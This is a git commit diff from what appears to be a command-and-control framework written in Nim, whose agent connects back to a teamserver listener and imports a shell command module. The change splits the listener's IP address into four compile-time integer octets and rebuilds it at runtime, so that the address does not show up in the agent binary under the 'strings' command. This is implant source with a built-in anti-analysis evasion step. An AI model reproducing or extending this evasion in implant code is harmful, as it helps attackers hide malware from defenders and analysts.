Hide hardcoded IP address from agent binary by splitting it up into integer octets

This commit is contained in:
Jakob Friedl
2025-06-02 21:37:58 +02:00
parent ac1bc22b93
commit b25d09e282
4 changed files with 26 additions and 6 deletions

View File

@@ -5,7 +5,10 @@ import ./[types, http, task]
import commands/shell import commands/shell
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const ListenerIp {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555 const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10 const SleepDelay {.intdefine.}: int = 10
@@ -22,13 +25,16 @@ proc main() =
# The agent configuration is read at compile time using define/-d statements in nim.cfg # The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface # This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay): when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration." echo "Missing agent configuration."
quit(0) quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
var config = AgentConfig( var config = AgentConfig(
listener: ListenerUuid, listener: ListenerUuid,
ip: ListenerIp, ip: address,
port: ListenerPort, port: ListenerPort,
sleep: SleepDelay sleep: SleepDelay
) )

View File

@@ -1,5 +1,8 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="JEBFQPEP" -d:ListenerUuid="JEBFQPEP"
-d:ListenerIp="127.0.0.1" -d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555 -d:ListenerPort=5555
-d:SleepDelay=10 -d:SleepDelay=10

View File

@@ -121,13 +121,19 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
let listener = cq.listeners[listener.toUpperAscii] let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration # Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../agents/{payload}/nim.cfg" let agentConfigFile = fmt"../agents/{payload}/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# The following shows the format of the agent configuration file that defines compile-time variables # The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt""" let config = fmt"""
# Agent configuration # Agent configuration
-d:ListenerUuid="{listener.name}" -d:ListenerUuid="{listener.name}"
-d:ListenerIp="{listener.address}" -d:Octet1="{first}"
-d:Octet2="{second}"
-d:Octet3="{third}"
-d:Octet4="{fourth}"
-d:ListenerPort={listener.port} -d:ListenerPort={listener.port}
-d:SleepDelay={sleep} -d:SleepDelay={sleep}
""".replace(" ", "") """.replace(" ", "")

View File

@@ -3,6 +3,11 @@ import std/wordwrap
import ./[types] import ./[types]
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
# TODO: Verify that address is in correct, expected format
let octets = ip.split('.')
return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
proc validatePort*(portStr: string): bool = proc validatePort*(portStr: string): bool =
try: try:
let port: int = portStr.parseInt let port: int = portStr.parseInt